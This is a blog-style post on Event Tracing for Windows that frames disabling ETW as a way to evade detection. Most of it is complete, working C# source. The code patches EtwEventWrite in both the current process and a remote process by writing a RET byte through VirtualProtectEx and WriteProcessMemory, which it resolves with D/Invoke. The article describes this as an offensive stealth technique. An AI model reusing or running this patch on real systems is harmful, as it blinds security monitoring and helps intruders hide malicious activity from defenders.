Event Tracing for Windows - Background
Event Tracing for Windows (ETW) is a powerful performance monitoring tool that gives devs and admins the ability to capture and analyse detailed diagnostic info. ETW is a built-in component of the Windows subsystem that enables developers to collect and store kernel- and user-mode events. These events can be logged, traced, and analysed for various purposes, including performance tuning, debugging, and monitoring. ETW is mainly used for legit purposes, however, from an offensive perspective, ETW can also be used as a means to detect, monitor, and trace malicious activities. Disabling ETW helps evade detection and maintain stealth.
Patching ETW
The C# code below is one method of patching ETW in the current process and a remote target processes to disable ETW. Here’s a breakdown of the general steps:
- Determine the target process ID based on the cmd line args.
- Obtain the function addresses for VirtualProtectEx and WriteProcessMemory from kernel32.dll (using D/Invoke).
- Find the base address of ntdll.dll within the target process.
- Calculate the offset of the EtwEventWrite function within ntdll.dll.
- Patch the EtwEventWrite function in the target process writing a ret to the first byte of EtwEventWrite.
-
Obtain the Process ID and Function Addresses
First, the target process ID is obtined through the GetProcId function. If the arg is a number, it’s treated as a process ID. Otherwise, it’s treated as a process name, and the first matching process is selected. Next, the function addresses for VirtualProtectEx and WriteProcessMemory are obtained from kernel32.dll using the GetLibraryAddress function from D/Invoke.
-
Find the Base Address of ntdll.dll
The GetRemoteNtdllBaseAddress function locates the base address of ntdll.dll within the target process by enumerating its loaded modules.
-
Calculate EtwEventWrite Offset
The GetEtwEventWriteOffset function calculates the offset of the EtwEventWrite function within ntdll.dll. It first retrieves the address of EtwEventWrite in the local process, then subtracts the local ntdll.dll base address to obtain the offset.
-
Patch EtwEventWrite
The PatchEtw function patches the EtwEventWrite function in the curren process and target process. It computes the remote EtwEventWrite address by adding the previously calculated offset to the remote ntdll.dll base address. The function then modifies the remote memory to disable the EtwEventWrite functionality by replacing its first instruction with a RET (0xC3) instruction, disabling the ETW event writing.
EtwPatch.cs
// Author: Shain Lakin
int GetProcId()
{
if (args.Length == 0)
{
args = new string[] { "msedge" };
}
if (args[0].All(char.IsDigit))
{
//Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
var pid = int.Parse(args[0]);
var process = Process.GetProcessById(pid);
//Console.WriteLine("[+] Handle: {0}\n [+] Id: {1}", process.Handle, process.Id);
return process.Id;
}
else
{
//Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
var name = args[0];
var process = Process.GetProcessesByName(name).FirstOrDefault();
//Console.WriteLine("[+] Handle: {0}\n[+] Id: {1}", process.Handle, process.Id);
return process.Id;
}
}
//Console.WriteLine("[*] ----- Patching ETW ----- [*]");
int targetProcessId = GetProcId();
Process targetProcess = Process.GetProcessById(targetProcessId);
IntPtr targetProcessHandle = targetProcess.Handle;
Native.VirtualProtectEx VirtualProtectEx;
Native.WriteProcessMemory WriteProcessMemory;
IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
VirtualProtectEx =
(Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress,
typeof(Native.VirtualProtectEx));
WriteProcessMemory =
(Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress,
typeof(Native.WriteProcessMemory));
IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
{
var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>()
.FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;
if (ntdllBaseAddress.HasValue)
{
return ntdllBaseAddress.Value;
}
else
{
throw new InvalidOperationException();
}
}
//Console.WriteLine("[+] NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X"));
IntPtr GetEtwEventWriteOffset()
{
var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "EtwEventWrite");
var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;
return (IntPtr)offset;
}
//Console.WriteLine("[+] ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString());
//Console.WriteLine("[+] ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X"));
bool checkFlag = false;
void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
{
const int PAGE_EXECUTE_READWRITE = 0x40;
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0)
{
//throw new InvalidOperationException("[!] Failed to change memory protection.");
}
if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0)
{
//throw new InvalidOperationException("[!] Failed to write to the memory.");
}
else
{
if (checkFlag == false)
{
//Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X"));
checkFlag = true;
}
}
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, (int)oldProtect, out _) == 0)
{
//throw new InvalidOperationException("[!] Failed to restore memory protection.");
}
}
void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
{
IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);
byte newValue = 0xC3; // RET
ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
}
Process currentProcess = Process.GetCurrentProcess();
IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess);
PatchEtw(currentProcess.Handle, currentNtdllBaseAddress);
IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);